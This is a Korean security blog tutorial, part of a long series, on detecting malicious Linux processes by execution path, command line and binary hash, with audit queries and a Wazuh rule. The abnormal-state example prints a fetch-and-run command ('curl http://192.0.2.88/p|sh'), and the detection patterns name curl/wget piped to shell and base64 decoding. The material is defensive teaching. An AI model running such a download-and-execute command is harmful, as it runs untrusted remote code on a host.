256. 프로세스·지속성 — 실행 경로·명령줄·해시 기반 분석 축

changseop lee·6일 전

시스템 보안 · 취약점

목록 보기
256/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 6/50편 (전체 256/450)
학습 단계: 프로세스·지속성 기본 개념
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

프로세스를 판정하려면 계보(F05) 외에도 실행 경로·명령줄·해시를 봐야 합니다. 이 세 축은 프로세스가 "어디서·어떻게·무엇으로" 실행됐는지를 알려줘, 비정상을 다각도로 평가합니다.

프로세스 분석 3축
 ① 경로(where): 실행 파일 위치
    정상: /usr/bin / 비정상: /tmp·/dev/shm·삭제됨
 ② 명령줄(how): 실행 인자
    정상: 일반 인자 / 비정상: 난독화·인코딩·다운로드+실행
 ③ 해시(what):  바이너리 식별
    정상: 알려진 해시 / 비정상: 변조·미상·악성 해시

계보(F05) + 3축 = 완전한 프로세스 판정

세 축은 서로 보완합니다. 경로가 정상이어도 명령줄이 난독화됐거나 해시가 변조됐으면 비정상입니다.

2. 왜 중요한가

  • 실행 경로는 비표준 위치(/tmp 등) 실행을 빠르게 식별합니다.
  • 명령줄은 난독화·인코딩·다운로드+실행 같은 악성 패턴을 드러냅니다.
  • 해시는 정상 바이너리의 변조(트로이목마)·알려진 악성코드를 식별(IOC)합니다.

3. 핵심 명령어 / 설정

축정상비정상 신호
경로/usr/bin/tmp·/dev/shm·삭제
명령줄일반 인자base64·curl|sh·난독화
해시알려진변조·미상·악성 IOC
조합전부 정상하나라도 이탈

4. 실습 (실습 예시)

# 프로세스 3축 분석 (분석 방법)
# 경로: 비표준 경로 실행
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'exe=.*(/tmp/|/dev/shm/)' | tail
# 명령줄: 난독화·다운로드+실행 패턴
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(base64|curl.*\|.*sh|wget.*\|.*sh|eval).*'
# 해시: 실행 바이너리 해시(기준선·IOC 대조)
PID=1234; sha256sum /proc/$PID/exe 2>/dev/null

5. 정상 상태

$ (비표준 경로) (없음)
$ (명령줄 패턴) (없음)
$ (해시) 알려진 정상 해시(기준선 일치)

프로세스가 표준 경로·일반 명령줄·알려진 해시로 실행되는, 3축 모두 정상인 상태입니다.

6. 이상 상태

$ (비표준 경로) exe=/tmp/.x
$ (명령줄 패턴) proctitle="sh -c curl http://192.0.2.88/p|sh"
$ (해시) 미상 해시(기준선·VT 미등록 또는 악성 IOC)
  • /tmp/.x 비표준 경로 실행 → 경로 축 이탈
  • curl ...|sh 다운로드+즉시 실행 → 명령줄 축 이탈
  • 미상·악성 해시 → 해시 축 이탈
  • 3축 모두 이탈 → 악성 프로세스 → 정탐

7. 로그 분석 (분석 방법)

프로세스 3축 분석 흐름입니다(가상의 예시).

[프로세스] /tmp/.x (sh -c curl ...|sh)
   ↓ (3축 평가)
 ① 경로: /tmp → 이탈
 ② 명령줄: curl|sh → 이탈
 ③ 해시: 미상 → 이탈
   ↓ (+ 계보 F05)
[판정] 3축+계보 이탈 → 악성 확정
축가치
경로빠른 1차 선별
명령줄악성 패턴
해시IOC·변조 식별

세 축에 계보(F05)를 더하면 프로세스 판정이 완전해집니다.

8. SOC 관제 포인트

  • 프로세스는 경로·명령줄·해시 3축과 계보(F05)로 다각도 판정합니다.
  • 경로는 1차 선별, 명령줄은 악성 패턴, 해시는 IOC·변조 식별에 쓰입니다.
  • 한 축만 이탈해도 조사 대상이며, 다축 이탈은 악성 확정입니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,process,">
  <!-- 다운로드+즉시 실행 명령줄 패턴 -->
  <rule id="105050" level="12">
    <if_sid>105010</if_sid>
    <field name="audit.proctitle" type="pcre2">(curl|wget)\s+\S+\s*\|\s*(sh|bash)|base64\s+-d.*\|.*sh|eval\s+.*base64</field>
    <description>다운로드+즉시 실행·난독화 명령줄(악성 패턴)</description>
    <mitre><id>T1059</id><id>T1105</id></mitre>
  </rule>
</group>

해시 대조는 FIM·위협 인텔(IOC) 연계로 구현합니다. 경로·명령줄은 execve proctitle로 탐지합니다.

10. 대응 방법

  1. 초기 확인 — 프로세스의 실행 경로·명령줄·해시 3축을 평가합니다.
  2. 범위 확인 — 비표준 경로·난독화 명령줄·미상/악성 해시와 계보(F05)를 확인합니다.
  3. 증거 확보 — 3축 평가 근거·프로세스 정보·해시를 보존합니다.
  4. 차단/조치 — 다축 이탈이면 프로세스 종료·바이너리 격리·IOC 등록을 진행합니다.
  5. 재발 방지 — 경로·명령줄·해시 3축 분석을 계보와 함께 운영합니다.

11. 핵심 정리

축비정상 신호
경로/tmp·/dev/shm·삭제
명령줄base64·curl|sh·난독화
해시변조·미상·악성 IOC
조합하나라도 이탈 시 조사
면접 포인트"프로세스는 경로·명령줄·해시+계보로 판정 — 해시는 IOC·변조 식별"

12. 다음 편 예고

다음 편 257. 프로세스·지속성 — 지속성(persistence)의 개념과 공격 단계 에서는 지속성 개념을 다루는 지속성(persistence)의 개념과 공격 단계를 다룹니다.


이전 편: 255. 프로세스·지속성 — 프로세스 계보(부모-자식)와 이상 탐지 원리
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글